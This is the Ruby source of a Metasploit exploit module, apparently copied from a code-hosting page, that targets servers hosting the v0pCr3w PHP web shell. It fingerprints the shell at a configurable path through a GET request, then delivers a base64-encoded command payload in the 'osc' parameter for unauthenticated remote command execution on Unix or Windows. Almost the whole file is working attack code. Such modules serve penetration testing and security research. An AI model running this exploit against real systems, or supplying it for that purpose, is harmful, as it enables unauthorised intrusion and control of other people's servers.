89 lines
2.5 KiB
Ruby
89 lines
2.5 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = GreatRanking
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include Msf::Exploit::Remote::HttpClient
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def initialize(info={})
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super(update_info(info,
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'Name' => 'v0pCr3w Web Shell Remote Code Execution',
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'Description' => %q{
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This module exploits a lack of authentication in the shell developed by v0pCr3w
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and is widely reused in automated RFI payloads. This module takes advantage of the
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shell's various methods to execute commands.
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},
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'License' => MSF_LICENSE,
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'Author' =>
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[
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'bwall <bwall[at]openbwall.com>', # vuln discovery & msf module
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],
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'References' =>
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[
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[ 'OSVDB', '91841'],
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[ 'URL', 'https://defense.ballastsecurity.net/wiki/index.php/V0pCr3w_shell' ],
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[ 'URL', 'https://defense.ballastsecurity.net/decoding/index.php?hash=f6b534edf37c3cc0aa88997810daf9c0' ]
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],
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'Privileged' => false,
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'Payload' =>
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{
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'Space' => 2000,
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'BadChars' => '',
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'DisableNops' => true,
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'Compat' =>
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{
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'PayloadType' => 'cmd'
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}
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},
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'Platform' => %w{ unix win },
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'Arch' => ARCH_CMD,
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'Targets' =>
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[
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['v0pCr3w / Unix', { 'Platform' => 'unix' } ],
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['v0pCr3w / Windows', { 'Platform' => 'win' } ]
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],
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'DisclosureDate' => 'Mar 23 2013',
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('TARGETURI', [true, "The path to the v0pCr3w shell", "/jos.php"]),
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])
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end
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def check
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shell = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path.to_s),
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'vars_get' => {
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'lol' => '1'
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}
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})
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if (shell and shell.body =~ /v0pCr3w\<br\>/ and shell.body =~ /\<br\>nob0dyCr3w/)
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return Exploit::CheckCode::Vulnerable
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end
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return Exploit::CheckCode::Safe
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end
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def http_send_command(cmd)
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p = Rex::Text.encode_base64(cmd)
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res = send_request_cgi({
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'method' => 'GET',
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'uri' => normalize_uri(target_uri.path.to_s),
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'vars_get' => {
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'osc' => p
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}
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})
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if not (res and res.code == 200)
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fail_with(Failure::Unknown, 'Failed to execute the command.')
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end
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end
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def exploit
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http_send_command(payload.encoded)
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end
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end
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